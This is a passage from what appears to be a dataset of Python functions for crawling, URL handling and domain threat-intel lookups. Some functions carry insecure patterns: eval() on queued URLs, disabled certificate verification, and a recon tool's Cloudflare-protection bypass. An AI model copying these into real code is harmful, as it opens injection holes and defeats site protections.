on_progress_pages.domain_id = on_progress_domains.domain_id\\r\\n WHERE on_progress_pages.is_scrapped = 0 AND on_progress_domains.url = %(d)s\\r\\n \\\"\\\"\\\"\\r\\n try:\\r\\n cursor.execute(sql_statement, {'d':domain})\\r\\n pages = cursor.fetchall()\\r\\n\\r\\n except:\\r\\n cursor.close()\\r\\n db.close()\\r\\n raise RuntimeError(\\\"An Exception happened with the Database, make sure you are connected\\\")\\r\\n cursor.close()\\r\\n db.close()\\r\\n return pages\",\n \"def info(request, base62_id):\\n from urlparse import urlparse\\n key = base62.to_decimal(base62_id)\\n link = get_object_or_404(Link, pk = key)\\n values = default_values(request)\\n values['link'] = link\\n values[\\\"stats\\\"] = link.stat_set.all()\\n net_locs = dict()\\n for stat in values[\\\"stats\\\"]:\\n if stat.http_referer:\\n o = urlparse(stat.http_referer)\\n ref = str(o.netloc)\\n else:\\n ref = \\\"No Referer\\\"\\n net_locs[ref] = net_locs.get(ref, 0) + 1\\n \\n refs = []\\n counts = [] \\n domains = []\\n for domain in net_locs:\\n counts.append(net_locs[domain])\\n refs.append(domain)\\n domains.append(dict(domain=domain,count=net_locs[domain]))\\n values[\\\"domains\\\"] = domains \\n values[\\\"refs\\\"] = refs\\n values[\\\"counts\\\"] = counts \\n return render_to_response(\\n 'shortener/link_info.html',\\n values,\\n context_instance=RequestContext(request))\",\n \"def _process_dbxref(self):\\n\\n raw = '/'.join((self.rawdir, 'dbxref'))\\n logger.info(\\\"processing dbxrefs\\\")\\n line_counter = 0\\n\\n with open(raw, 'r') as f:\\n filereader = csv.reader(f, delimiter='\\\\t', quotechar='\\\\\\\"')\\n f.readline() # read the header row; skip\\n for line in filereader:\\n (dbxref_id, db_id, accession, version, description, url) = line\\n # dbxref_id\\tdb_id\\taccession\\tversion\\tdescription\\turl\\n # 1\\t2\\tSO:0000000\\t\\\"\\\"\\n\\n db_ids = { # the databases to fetch\\n 50: 'PMID', # pubmed\\n 68: 'RO', # obo-rel\\n 71: 'FBdv', # FBdv\\n 74: 'FBbt', # FBbt\\n # 28:, # genbank\\n 30: 'OMIM', # MIM\\n # 38, # ncbi\\n 75: 'ISBN', # ISBN\\n 46: 'PMID', # PUBMED\\n 51: 'ISBN', # isbn\\n 52: 'SO', # so\\n # 76, # http\\n 77: 'PMID', # PMID\\n 80: 'FBcv', # FBcv\\n # 95, # MEDLINE\\n 98: 'REACT', # Reactome\\n 103: 'CHEBI', # Chebi\\n 102: 'MESH', # MeSH\\n 106: 'OMIM', # OMIM\\n 105: 'KEGG-path', # KEGG pathway\\n 107: 'DOI', # doi\\n 108: 'CL', # CL\\n 114: 'CHEBI', # CHEBI\\n 115: 'KEGG', # KEGG\\n 116: 'PubChem', # PubChem\\n # 120, # MA???\\n 3: 'GO', # GO\\n 4: 'FlyBase', # FlyBase\\n # 126, # URL\\n 128: 'PATO', # PATO\\n # 131, # IMG\\n 2: 'SO', # SO\\n 136: 'MESH', # MESH\\n 139: 'CARO', # CARO\\n 140: 'NCBITaxon', # NCBITaxon\\n # 151, # MP ???\\n 161: 'DOI', # doi\\n 36: 'BDGP', # BDGP\\n # 55, # DGRC\\n # 54, # DRSC\\n # 169, # Transgenic RNAi project???\\n 231: 'RO', # RO ???\\n 180: 'NCBIGene', # entrezgene\\n # 192, # Bloomington stock center\\n 197: 'UBERON', # Uberon\\n 212: 'ENSEMBL', # Ensembl\\n # 129, # GenomeRNAi\\n 275: 'PMID', # PubMed\\n 286: 'PMID', # pmid\\n 264: 'HGNC',\\n # 265: 'OMIM', # OMIM_Gene\\n 266: 'OMIM', # OMIM_Phenotype\\n 300: 'DOID', # DOID\\n 302: 'MESH', # MSH\\n 347: 'PMID', # Pubmed\\n }\\n\\n if accession.strip() != '' and int(db_id) in db_ids:\\n # scrub some identifiers here\\n m = re.match(\\n r'(doi|SO|GO|FBcv|FBbt_root|FBdv|FBgn|FBdv_root|FlyBase|FBbt):',\\n accession)\\n if m:\\n accession = re.sub(m.group(1)+r'\\\\:', '', accession)\\n elif re.match(\\n r'(FlyBase miscellaneous CV|cell_lineprop|relationship type|FBgn$)',\\n accession):\\n continue\\n elif re.match(r'\\\\:', accession): # starts with a colon\\n accession = re.sub(r'\\\\:', '', accession)\\n elif re.search(r'\\\\s', accession):\\n # skip anything with a space\\n # logger.debug(\\n # 'dbxref %s accession has a space: %s',\\n # dbxref_id, accession)\\n continue\\n\\n if re.match(r'http', accession):\\n did = accession.strip()\\n else:\\n prefix = db_ids.get(int(db_id))\\n did = ':'.join((prefix, accession.strip()))\\n if re.search(r'\\\\:', accession) and prefix != 'DOI':\\n logger.warning(\\n 'id %s may be malformed; skipping', did)\\n\\n self.dbxrefs[dbxref_id] = {db_id: did}\\n\\n elif url != '':\\n self.dbxrefs[dbxref_id] = {db_id: url.strip()}\\n else:\\n continue\\n\\n # the following are some special cases that we scrub\\n if int(db_id) == 2 \\\\\\n and accession.strip() == 'transgenic_transposon':\\n # transgenic_transposable_element\\n self.dbxrefs[dbxref_id] = {db_id: 'SO:0000796'}\\n\\n line_counter += 1\\n\\n return\",\n \"def retrieveUrlfromStackOverFlowfor(query):\\n\\n\\n\\tfileLog = open(\\\"DATA/selectedUrl.log\\\", \\\"w\\\")\\n\\n\\t# Url Generation\\n\\tprefix = \\\"http://stackoverflow.com/questions/\\\"\\n\\tfor number in range(1, 200):\\n\\t\\tgeneratedUrl = prefix + str(number) + \\\"/\\\"\\n\\n\\t\\t# Get title of the page\\n\\t\\tpage = requests.get(generatedUrl)\\n\\t\\ttree = html.fromstring(page.content)\\n\\t\\ttitle = tree.xpath('//title/text()')\\n\\t\\ttitleInArray = title[0].split('-')\\n\\n\\t\\t# Scan Subject\\n\\t\\tif titleInArray[0] != \\\"Page Not Found \\\":\\n\\t\\t\\tmainSubject = titleInArray[0]\\n\\t\\t\\tprecision = titleInArray[1]\\n\\n\\t\\t\\tfor mesh in mainSubject.split(\\\" \\\"):\\n\\t\\t\\t\\tif mesh.lower() == query.lower():\\n\\t\\t\\t\\t\\tprint generatedUrl\\n\\t\\t\\t\\t\\tfileLog.write(generatedUrl+\\\"\\\\n\\\")\\n\\n\\t\\t\\tfor subMesh in precision.split(\\\" \\\"):\\n\\t\\t\\t\\tif subMesh.lower() == query.lower():\\n\\t\\t\\t\\t\\tprint generatedUrl\\n\\t\\t\\t\\t\\tfileLog.write(generatedUrl+\\\"\\\\n\\\")\\n\\t\\n\\tfileLog.close()\\n\\n\\treturn 0\",\n \"def process_crawled_urls(self, webhost_map):\\n\\n for url, status_code in self.crawled_urls.items():\\n # store the URL's path in the web host map under the URL's status code\\n status_code_str = str(status_code)\\n parsed_url = urllib.parse.urlparse(url)\\n if status_code_str not in webhost_map:\\n webhost_map[status_code_str] = {}\\n if parsed_url.path not in webhost_map[status_code_str]:\\n webhost_map[status_code_str][parsed_url.path] = {}\\n cur_node = webhost_map[status_code_str][parsed_url.path]\\n\\n # if a (GET) query is present, add its parameters to the web host map\\n if parsed_url.query:\\n get_params = get_query_params(parsed_url.query)\\n if get_params:\\n if \\\"GET\\\" not in cur_node:\\n cur_node[\\\"GET\\\"] = []\\n for param in get_params:\\n if param not in cur_node[\\\"GET\\\"]:\\n cur_node[\\\"GET\\\"].append(param)\\n\\n if any(val for val in get_params.values()):\\n if \\\"instances\\\" not in cur_node:\\n cur_node[\\\"instances\\\"] = []\\n\\n if not any(i.get(\\\"GET\\\", {}) == get_params for i in cur_node[\\\"instances\\\"]):\\n instance = {\\\"GET\\\": get_params, \\\"POST\\\": {}, \\\"cookies\\\": {}}\\n cur_node[\\\"instances\\\"].append(instance)\",\n \"def _process_previous_resolutions(ip_record, ti_prov):\\n if \\\"VirusTotal\\\" in ti_prov.loaded_providers:\\n ip_ti_results = ti_prov.result_to_df(\\n ti_prov.lookup_ioc(ip_record[\\\"IP Address\\\"][0], providers=[\\\"VirusTotal\\\"])\\n )\\n try:\\n last_10 = ip_ti_results.T[\\\"VirusTotal\\\"][\\\"RawResult\\\"][\\\"resolutions\\\"][:10]\\n prev_domains = [record[\\\"hostname\\\"] for record in last_10]\\n except TypeError:\\n prev_domains = None\\n else:\\n prev_domains = (\\n \\\"Unknown - VirusTotal provider required for previous resolution details.\\\"\\n )\\n ip_record[\\\"Last 10 resolutions\\\"] = [prev_domains]\\n return ip_record\",\n \"def create_dns_dictionary(self, path_tracefile):\\n responses = self.get_dns_responses(path_tracefile)\\n dns_dict = dict()\\n for response in responses:\\n for x in range(response[DNS].ancount): # answer count, how many IP adresses are returned for the query\\n try: # answer count could also include 'DNS SRV Resource Record' which does not have a 'rrname' attribute so ancount is wrong if there is such a record -> TODO get amount of DNSRR instead of using ancount\\n domain = getattr(response[DNSRR][x], 'rrname').decode(\\\"utf-8\\\") # domain (this is returned in bytes so decode)\\n ip = getattr(response[DNSRR][x], 'rdata') # IP adres of the domain, TODO make this work for multiple ip adresses for one domain (Test with [0] at end)\\n dns_dict[ip] = domain[:-1] #remove last char '.' \\n except:\\n continue\\n return dns_dict\",\n \"def wanted_pages(self):\\n wanted = defaultdict(int)\\n for doc in self.index.run_query(self.name, query.Every('wanted'), limit=8000):\\n for link in doc['wanted'].split(' '):\\n wanted[link.replace('%20', ' ')] += 1\\n items = [(count, link) for link, count in wanted.items()]\\n items.sort(reverse=True)\\n return items\",\n \"def _domain_whois_record(domain, ti_prov):\\n dom_record = pd.DataFrame()\\n whois_result = whois(domain)\\n if whois_result.domain_name is not None:\\n # Create domain record from whois data\\n dom_record = pd.DataFrame(\\n {\\n \\\"Domain\\\": [domain],\\n \\\"Name\\\": [whois_result.get(\\\"name\\\", None)],\\n \\\"Org\\\": [whois_result.get(\\\"org\\\", None)],\\n \\\"DNSSec\\\": [whois_result.get(\\\"dnssec\\\", None)],\\n \\\"City\\\": [whois_result.get(\\\"city\\\", None)],\\n \\\"State\\\": [whois_result.get(\\\"state\\\", None)],\\n \\\"Country\\\": [whois_result.get(\\\"country\\\", None)],\\n \\\"Registrar\\\": [whois_result.get(\\\"registrar\\\", None)],\\n \\\"Status\\\": [whois_result.get(\\\"status\\\", None)],\\n \\\"Created\\\": [whois_result.get(\\\"creation_date\\\", None)],\\n \\\"Expiration\\\": [whois_result.get(\\\"expiration_date\\\", None)],\\n \\\"Last Updated\\\": [whois_result.get(\\\"updated_date\\\", None)],\\n \\\"Name Servers\\\": [whois_result.get(\\\"name_servers\\\", None)],\\n }\\n )\\n ns_domains = []\\n\\n # Identity domains popularity with Open Page Rank\\n if \\\"OPR\\\" in ti_prov.loaded_providers:\\n page_rank = ti_prov.result_to_df(\\n ti_prov.lookup_ioc(domain, providers=[\\\"OPR\\\"])\\n )\\n if page_rank[\\\"RawResult\\\"][0]:\\n page_rank_score = page_rank[\\\"RawResult\\\"][0][\\\"response\\\"][0][\\n \\\"page_rank_integer\\\"\\n ]\\n else:\\n page_rank_score = 0\\n dom_record[\\\"Page Rank\\\"] = [page_rank_score]\\n else:\\n nb_markdown(\\\"OPR TI provider needed to calculate Page Rank score.\\\")\\n dom_record[\\\"Page Rank\\\"] = [\\\"Not known - OPR provider needed\\\"]\\n\\n # Get a list of subdomains for the domain\\n if \\\"VirusTotal\\\" in ti_prov.loaded_providers:\\n url_ti = ti_prov.result_to_df(\\n ti_prov.lookup_ioc(domain, providers=[\\\"VirusTotal\\\"])\\n )\\n try:\\n sub_doms = url_ti[\\\"RawResult\\\"][0][\\\"subdomains\\\"]\\n except (TypeError, KeyError):\\n sub_doms = \\\"None found\\\"\\n dom_record[\\\"Sub Domains\\\"] = [sub_doms]\\n else:\\n nb_markdown(\\\"VT TI provider needed to get sub-domains.\\\")\\n dom_record[\\\"Page Rank\\\"] = [\\\"Not known - OPR provider needed\\\"]\\n\\n # Work out domain entropy to identity possible DGA\\n dom_ent = entropy(domain)\\n dom_record[\\\"Domain Name Entropy\\\"] = [dom_ent]\\n\\n # Remove duplicate Name Server records\\n for server in whois_result[\\\"name_servers\\\"]:\\n _, ns_domain, ns_tld = tldextract.extract(server)\\n ns_dom = ns_domain.lower() + \\\".\\\" + ns_tld.lower()\\n if domain not in ns_domains:\\n ns_domains.append(ns_dom)\\n return dom_record\",\n \"def queryWikipediaIdRedirected(label):\\n if label is None: return None\\n sparql = SPARQLWrapper(dbpurl)\\n sparql.setReturnFormat(JSON)\\n sparql_query = '''\\nPREFIX rdfs: <http://www.w3.org/2000/01/rdf-schema#>\\nSELECT DISTINCT ?pageID WHERE {\\n <http://dbpedia.org/resource/''' + label + '''> <http://dbpedia.org/ontology/wikiPageRedirects> ?tgt .\\n ?tgt <http://dbpedia.org/ontology/wikiPageID> ?pageID .\\n} '''\\n sparql.setQuery(sparql_query)\\n res = sparql.query().convert()\\n retVal = []\\n for r in res['results']['bindings']:\\n retVal.append(r['pageID']['value'])\\n return retVal[0] if retVal else None\",\n \"def probe(urlbase, fileno, ip):\\n\\n cat = urlbase[0]\\n subcat = urlbase[1]\\n\\n r = redis.Redis(ip)\\n #FETCH\\n cur = 0\\n \\\"\\\"\\\"\\n This process is error prone. Try several times to fetch a website.\\n Protection against a few different errors:\\n - one-off connection or HTTP errors.\\n - crawler traps, where the site hangs and does not return response.\\n - all other errors are fatal, and the site is skipped.\\n \\\"\\\"\\\"\\n # Fetch the website containing the feed.\\n while cur < HTTP_RETRIES:\\n try:\\n page = urllib2.urlopen(urlbase[-1])\\n break\\n except urllib2.URLError as e:\\n #This exception likely means the server hanged in giving a response.\\n logging.error(\\\"Error in discovery for url: \\\" + urlbase + \\\" \\\" + str(e))\\n TRAP = open(prefix + \\\"meta/access_traps-%s.log\\\" % str(os.getpid()), \\\"a\\\")\\n print >> TRAP, urlbase\\n TRAP.close()\\n cur += 1\\n if cur == HTTP_RETRIES: # timeout on all tries.\\n logging.error(\\\"Discovery timed out for URL %s.\\\" % urlbase)\\n raise Exception(\\\"Exceeded HTTP_RETRIES without success.\\\")\\n\\n # Parse the HTML for the website to find the RSS feed links.\\n root = parse(page).getroot()\\n #Use the autodiscovery standard, ignoring comment feeds.\\n links = root.xpath('//link[@type=\\\"application/rss+xml\\\" and ' +\\n 'not(contains(@title, \\\"comment\\\")) and not(contains(@href, \\\"comment\\\"))]')\\n if len(links) > 0:\\n #at least one feed was found.\\n OUT = open(prefix + \\\"meta/access_ready-%s.log\\\" % str(os.getpid()), \\\"a\\\")\\n url = links[0].get('href')\\n #Just take the first URL, and convert it to an absolute link.\\n if not url.startswith('http://') and not url.startswith('feed://') and \\\\\\n not url.startswith('https://'):\\n url = urlbase + url\\n logging.debug(\\\"Found URL for %s. The URL is %s\\\" % (urlbase, url))\\n print >> OUT, urlbase, url, links[0].get('title').encode('utf-8')\\n OUT.close()\\n r.rpush('good_url', url)\\n else:\\n #1) Webmaster chose not to abide by the standard\\n #2) Webmaster provided bad URL that does not contain feed links.\\n NOLINK = open(prefix + \\\"meta/access_nolink-%s.log\\\"\\n % str(os.getpid()), \\\"a\\\") # No link found.\\n print >> NOLINK, urlbase\\n NOLINK.close()\\n logging.error(\\\"No RSS URLs found for %s.\\\" % urlbase)\\n raise Exception(\\\"No URLs detected.\\\")\\n return False\\n\\n # Now fetch the actual RSS feed.\\n cur = 0\\n while cur < HTTP_RETRIES:\\n cur += 1\\n try:\\n resp = urllib2.urlopen(url)\\n content = resp.read()\\n RAW = open(feeds_path + \\\"%s-%s_%s-%s.xml\\\" % (cat.replace(\\\" \\\", \\\"\\\"),\\n subcat.replace(\\\" \\\", \\\"\\\"), str(os.getpid()), str(fileno)), \\\"w\\\")\\n try:\\n #DUMP THE FEED TO DISK\\n print >> RAW, content\\n except UnicodeError:\\n print >> RAW, content.encode('utf-8')\\n RAW.close()\\n logging.debug(\\\"Saved RSS feed: %s.\\\" % url)\\n #MAP THIS FEED URL TO A PID AND CURSOR.\\n KEY = open(feeds_path + \\\"key-%s.dat\\\" % os.getpid(), \\\"a\\\")\\n print >> KEY, ' '.join([url, str(fileno)])\\n KEY.close()\\n break\\n except Exception, e:\\n #Just tell the user and try again.\\n logging.error(\\\"Exception occurred fetching %s: %s\\\" % (url, str(e)))\\n pass\\n break\\n else:\\n FAIL = open(prefix + \\\"meta/failed-%s.log\\\" % str(os.getpid()), \\\"a\\\")\\n print >> FAIL, url\\n FAIL.close()\\n logging.error(\\\"I give up. Could not fetch RSS feed: %s\\\" % url)\\n raise Exception(\\\"RSS feed found but could not be fetched.\\\")\\n return True\",\n \"def probe_worker(ip, thread):\\n fileno = 0\\n r = redis.Redis(ip)\\n while True:\\n url = r.lpop('blogs') # pull URL off queue.\\n if not url:\\n break # means we are done.\\n try:\\n content = probe(eval(url), fileno, ip) # does the work.\\n r.incr(\\\"count_%d\\\" % thread)\\n if content:\\n r.incr('successes')\\n else:\\n r.incr('errors')\\n except Exception, e:\\n # TODO(ryan): What kind of error occurred?\\n r.incr('errors')\\n logging.info(\\\"THREAD %d; Error occured: %s, URL: %s\\\" % (thread, e, url))\\n ERR = open(prefix + \\\"meta/errors-%s.log\\\" % str(os.getpid()), \\\"a\\\")\\n print >> ERR, url, e\\n ERR.close()\\n r.rpush('error_messages', '|'.join([url, str(e)]))\\n fileno += 1\",\n \"def __wiki_counts(self):\\n\\n num_lines = 0\\n num_valid_hyperlinks = 0\\n disambiguation_ent_errors = 0\\n\\n print(\\\"Calculating Wikipedia mention/entity occurrences\\\")\\n\\n last_processed_id = -1\\n exist_id_found = False\\n\\n wiki_anchor_files = os.listdir(\\n os.path.join(self.base_url, self.wiki_version, \\\"basic_data/anchor_files/\\\")\\n )\\n for wiki_anchor in wiki_anchor_files:\\n wiki_file = os.path.join(\\n self.base_url,\\n self.wiki_version,\\n \\\"basic_data/anchor_files/\\\",\\n wiki_anchor,\\n )\\n\\n with open(wiki_file, \\\"r\\\", encoding=\\\"utf-8\\\") as f:\\n for line in f:\\n num_lines += 1\\n\\n if num_lines % 5000000 == 0:\\n print(\\n \\\"Processed {} lines, valid hyperlinks {}\\\".format(\\n num_lines, num_valid_hyperlinks\\n )\\n )\\n if '<doc id=\\\"' in line:\\n id = int(line[line.find(\\\"id\\\") + 4 : line.find(\\\"url\\\") - 2])\\n if id <= last_processed_id:\\n exist_id_found = True\\n continue\\n else:\\n exist_id_found = False\\n last_processed_id = id\\n else:\\n if not exist_id_found:\\n (\\n list_hyp,\\n disambiguation_ent_error,\\n print_values,\\n ) = self.__extract_text_and_hyp(line)\\n\\n disambiguation_ent_errors += disambiguation_ent_error\\n\\n for el in list_hyp:\\n mention = el[\\\"mention\\\"]\\n ent_wiki_id = el[\\\"ent_wikiid\\\"]\\n\\n num_valid_hyperlinks += 1\\n if mention not in self.wiki_freq:\\n self.wiki_freq[mention] = {}\\n\\n if (\\n ent_wiki_id\\n in self.wikipedia.wiki_id_name_map[\\\"ent_id_to_name\\\"]\\n ):\\n if mention not in self.mention_freq:\\n self.mention_freq[mention] = 0\\n self.mention_freq[mention] += 1\\n\\n ent_name = self.wikipedia.wiki_id_name_map[\\n \\\"ent_id_to_name\\\"\\n ][ent_wiki_id].replace(\\\" \\\", \\\"_\\\")\\n if ent_name not in self.wiki_freq[mention]:\\n self.wiki_freq[mention][ent_name] = 0\\n self.wiki_freq[mention][ent_name] += 1\\n\\n print(\\n \\\"Done computing Wikipedia counts. Num valid hyperlinks = {}\\\".format(\\n num_valid_hyperlinks\\n )\\n )\",\n \"def extract_domains(self, resp):\\n return\",\n \"def aggregate(entry):\\n file = urlopen(entry, context=ssl_context)\\n tree = ElementTree.parse(file)\\n\\n for sitemap in tree.getroot().findall(TAGS['SITEMAP']):\\n location = sitemap.find(TAGS['LOCATION'])\\n if location is not None:\\n yield location.text\\n\\n file.close()\",\n \"def number_of_links(corpus, page):\\n return len(corpus[page]) if corpus[page] else len(corpus)\",\n \"def cms_identifier(self):\\n engine.setup(self)\\n \\n targets = [target for target in self.args.target if target.strip()]\\n error_count = 0\\n for url in targets:\\n self.sanitize_url(url)\\n msg = \\\"Getting source for {}\\\".format(self.url); report.low(msg)\\n headers = {'User-Agent': \\\"Mozilla/5.0 (X11; Fedora; Linux i686;\\\" +\\\\\\n\\t\\t\\t\\\"rv:40.0) Gecko/20100101 Firefox/40.1\\\"}\\n response = None\\n try:\\n response = requests.get(self.url, headers=headers, verify=False)\\n if \\\"Checking your browser before accessing\\\" in response.content:\\n msg =\\\"Site: {} is using cloudflare. \\\"\\\\\\n \\\"Trying to bypass cloudflare protection.\\\".format(self.url);report.medium(msg)\\n #damn cloudflare, lets see if how to circumvert it. \\n #TODO: Ask for permision since executing JS might be a security issue.\\n # https://github.com/Anorov/cloudflare-scrape\\n cfscraper = cfscrape.create_scraper()\\n response = cfscraper.get(self.url)\\n except Exception as e:\\n #print e\\n error_count += 1\\n msg=\\\"Something went wrong while getting ({}), moving on...\\\".format(self.url);report.error(msg)\\n if error_count > 3:\\n msg = \\\"Too many error. Exiting...\\\"; report.error(msg)\\n sys.exit()\\n \\n framework, site = engine.pwn(self,response)\\n if framework:\\n report.info(\\\"This is a website based on: {0} from {1}\\\".format(framework, site))\\n else:\\n report.high(\\\"Failed to determine CMS of site.\\\")\",\n \"def search(url, domain_list):\\n resp = requests.get(url)\\n if not resp.json().get('hits', '').get('hits', []):\\n return\\n for hit in resp.json()[\\\"hits\\\"][\\\"hits\\\"]:\\n domain = hit.get(\\\"_source\\\", {}).get(\\\"domain\\\", \\\"\\\")\\n if not domain:\\n continue\\n if not domain in domain_list:\\n domain_list.append(domain)\\n #print(hit[\\\"_source\\\"].get(\\\"title\\\", \\\"\\\").encode(\\\"ascii\\\",\\\"ignore\\\"))\\n if domain not in ALLOWED_DOMAINS:\\n print(domain)\",\n \"def collect_web_sites(self):\\n min_distance = None\\n max_sequence_match = None\\n index_string_match = index_distance = None\\n self.collection = collections.OrderedDict()\\n for i_web, web_row in self.company_urls_df.iterrows():\\n # get the url first from the websites table which list all the urls belonging to\\n # one kvk search\\n url = web_row[URL_KEY]\\n\\n # skip all none uls and also the filtered urls\\n if url is None or url == \\\"\\\":\\n logger.debug(\\\"Skipping url because it is None or empty\\\")\\n continue\\n if self.filter_urls and url not in self.filter_urls:\\n logger.debug(f\\\"filter urls is given so skip {url}\\\")\\n continue\\n\\n # store a list of UrlInfo object with a minimum info the url which was tested\\n url_info = UrlInfo(index=i_web, url=url)\\n self.collection[url] = url_info\\n\\n print_banner(f\\\"Processing {url}\\\")\\n\\n # quick check if we can processes this url based on the country code\\n suffix = url_info.url_extract.suffix\\n if suffix in self.exclude_extensions.index:\\n url_info.outside_nl = True\\n logger.info(f\\\"Web site {url} has suffix '.{suffix}' Continue \\\")\\n\\n # get the processing time of the last time you did this url from the table\\n try:\\n processing_time = self.urls_df.loc[url, DATETIME_KEY]\\n except KeyError:\\n processing_time = None\\n\\n if self.force_process or self.rescan_missing_urls:\\n url_info.needs_update = True\\n else:\\n url_info.needs_update = check_if_url_needs_update(processing_time=processing_time,\\n current_time=self.current_time,\\n older_time=self.older_time)\\n if url_info.needs_update:\\n # if the url needs update, store the current time\\n url_info.processing_time = self.current_time\\n else:\\n url_info.processing_time = processing_time\\n\\n url_analyse = self.scrape_url_and_store_in_dataframes(url, url_info)\\n\\n url_info.url_analyse = url_analyse\\n\\n if url_analyse and not url_analyse.exists:\\n self.logger.debug(f\\\"url '{url}'' does not exist\\\")\\n continue\\n\\n # based on the company postcodes and kvknummer and web contents, make a ranking how\\n # good the web sides matches the company\\n match = UrlCompanyRanking(url, self.company_name_small,\\n url_extract=url_info.url_extract,\\n url_analyse=url_analyse,\\n company_kvk_nummer=self.kvk_nr,\\n company_postcodes=self.postcodes,\\n threshold_string_match=self.threshold_string_match,\\n threshold_distance=self.threshold_distance,\\n logger=self.logger)\\n\\n url_info.match = match\\n\\n # update the min max\\n if min_distance is None or match.distance < min_distance:\\n index_distance = i_web\\n min_distance = match.distance\\n\\n if max_sequence_match is None or match.string_match > max_sequence_match:\\n index_string_match = i_web\\n max_sequence_match = match.string_match\\n\\n self.logger.debug(\\\" * {} - {} - {}\\\".format(url, match.ext.domain,\\n match.distance))\\n\\n if min_distance is None:\\n self.company_urls_df = None\\n elif index_string_match != index_distance:\\n self.logger.warning(\\n \\\"Found minimal distance for {}: {}\\\\nwhich differs from \\\"\\n \\\"best string match {}: {}\\\".format(index_distance,\\n self.collection[url].url,\\n index_string_match,\\n self.collection[url].url))\",\n \"def trip_report_builder(df):\\n count = 0\\n for row in range(len(df)):\\n if df['numReports'][row]:\\n title = df['hike_name'][row]\\n url = df['url'][row]\\n iterate_all_reports(title, url)\\n save_trail_html(title, url)\\n count += 1\\n print(f'Unique Trails {count}')\\n else:\\n continue\\n return None\",\n \"def dl_report(report_url, dest_path, max_connections=4):\\n if len(report_url) == 0:\\n raise Exception(\\\"Empty url supplied\\\")\\n\\n if not os.path.exists(dest_path):\\n os.makedirs(dest_path)\\n\\n base_url = \\\"{0}/\\\".format(report_url)\\n try:\\n response = urlopen(report_url)\\n except URLError as e:\\n print(\\\"\\\\r\\\\nURLError: {0}!\\\".format(e))\\n print(\\\"Trying again in 60 seconds!\\\", end='\\\\r')\\n time.sleep(60)\\n print(\\\"Trying again now!\\\" + (' ' * 10), end='\\\\r')\\n response = urlopen(report_url)\\n html = response.read()\\n soup = BeautifulSoup(html, 'lxml')\\n\\n children = soup.find_all('a')\\n edges = []\\n traversed = []\\n for child in children:\\n if child.has_attr('href'):\\n edge = child.get('href')\\n if edge.find(\\\"match\\\") != -1:\\n child['href'] = os.path.basename(edge)\\n if edge == child['href']:\\n edge = base_url + edge\\n if edge not in edges:\\n edges.append(edge)\\n\\n traversed.append(report_url)\\n url_queue = queue.Queue()\\n threads = []\\n num_of_threads = min(max_connections, len(edges))\\n for i in range(num_of_threads):\\n worker = threading.Thread(target=dl_worker, args=[url_queue, base_url, dest_path, traversed])\\n worker.setDaemon(True)\\n worker.start()\\n threads.append(worker)\\n for edge in edges:\\n url_queue.put(edge)\\n with open(os.path.join(dest_path, \\\"index.html\\\"), mode='wb') as ofile:\\n ofile.write(soup.encode(soup.original_encoding))\\n url_queue.join()\\n for i in range(num_of_threads):\\n url_queue.put(None)\\n for t in threads:\\n t.join()\",\n \"def hosting_history(self, domain):\\n return self.apiquery('/v1/{}/hosting-history/'.format(domain))\",\n \"def by_navigations(self):\\n\\t\\t\\n\\t\\turl_format = r'^\\\\s*(?:(?P<protocol>\\\\w+)://)?(?P<domain>[\\\\w\\\\d\\\\-\\\\.]+)(?::(?P<port>\\\\d+))?/?(?P<everything_else>.*)$'\\n\\t\\tnavigations = {}\\n\\t\\tfor line in self.source.lines:\\n\\t\\t\\ttry:\\n\\t\\t\\t\\tif self.filter(line):\\n\\t\\t\\t\\t\\tresult = re.match(url_format, line.content.url)\\n\\t\\t\\t\\t\\tif line.content.source_address not in navigations.keys():\\n\\t\\t\\t\\t\\t\\tnavigations[line.content.source_address] = {}\\n\\t\\t\\t\\t\\tif line.content.user not in navigations[line.content.source_address]:\\n\\t\\t\\t\\t\\t\\tnavigations[line.content.source_address][line.content.user] = {}\\n\\t\\t\\t\\t\\tif result.group('domain') not in navigations[line.content.source_address][line.content.user]:\\n\\t\\t\\t\\t\\t\\tnavigations[line.content.source_address][line.content.user][result.group('domain')] = 0\\n\\t\\t\\t\\t\\tnavigations[line.content.source_address][line.content.user][result.group('domain')] += int(line.content.size)\\n\\t\\t\\texcept AttributeError:\\n\\t\\t\\t\\tpass\\n\\t\\t\\n\\t\\tflat_navigations = []\\n\\t\\tfor address in navigations.keys():\\n\\t\\t\\t# node = socket.getfqdn(address)\\n\\t\\t\\tnode = address\\n\\t\\t\\tfor user in navigations[address].keys():\\n\\t\\t\\t\\tfor domain in navigations[address][user].keys():\\n\\t\\t\\t\\t\\tflat_navigations.append([user, domain, node, address, navigations[address][user][domain]])\\n\\t\\t\\n\\t\\t# What happend here? Why an exception handler is needed?\\n\\t\\ttry:\\n\\t\\t\\tflat_navigations.sort(key = lambda t: t[4], reverse = True)\\n\\t\\texcept (e):\\n\\t\\t\\tpass\\n\\t\\t\\n\\t\\treturn flat_navigations\",\n \"def new_trip_report_builder(df,last_scrape):\\n count = 0\\n for row in range(len(df)):\\n if df['numReports'][row]:\\n title = df['hike_name'][row]\\n url = df['url'][row]\\n iterate_new_reports(title, url,last_scrape)\\n count += 1\\n print(f'Unique Trails {count}')\\n else:\\n continue\\n return None\",\n \"def fetch_web_cont(self):\\n with open(self.input_file) as input_file:\\n data = yaml.load(input_file, yaml.FullLoader)\\n url_list = data.get(self.url_access)\\n regex_list = data.get(self.regex_access)\\n\\n print('Fetching data:')\\n\\n for url in url_list:\\n # This restores the same behavior as before.\\n # Enabling certificate verification by default for stdlib http clients\\n context = ssl._create_unverified_context()\\n run_time = datetime.now().strftime(\\\"Date: %d-%m-%Y Time: %I:%M:%S:%f_%p\\\")\\n start = time.perf_counter()\\n web_resp = request.urlopen(url, context=context)\\n respData = web_resp.read()\\n resp_time = '%0.2f s' % (time.perf_counter() - start)\\n\\n for regex in regex_list:\\n contents = re.findall(regex, str(respData))\\n with open(self.output_file, 'a') as file:\\n if not contents:\\n print(run_time, ' | URL: ', url, '| content not found with this regex: ', regex,\\n file=file)\\n\\n else:\\n for content in contents:\\n print(run_time, ' | URL: ', url, ' | Response Time: ', resp_time,\\n url, ' | Contents: ', content, file=file)\\n \\n with open(self.output_file, 'a') as file:\\n \\n print('\\\\n#################################\\\\n', file=file)\",\n \"def harvest_urls():\\n manifest = []\\n category = {}\\n subcategory = {}\\n directoryfiles = \\\"%s/directory_listing/\\\" % config['PREFIX']\\n # ^^ the directory containing the HTML from the Technorati site.\\n\\n #Set up directory for intermediate data: MANIFEST\\n #MANIFEST contains: Category, Subcategory, Title and URL.\\n #and is a roster of URLs of blogs to autodiscover.\\n if not 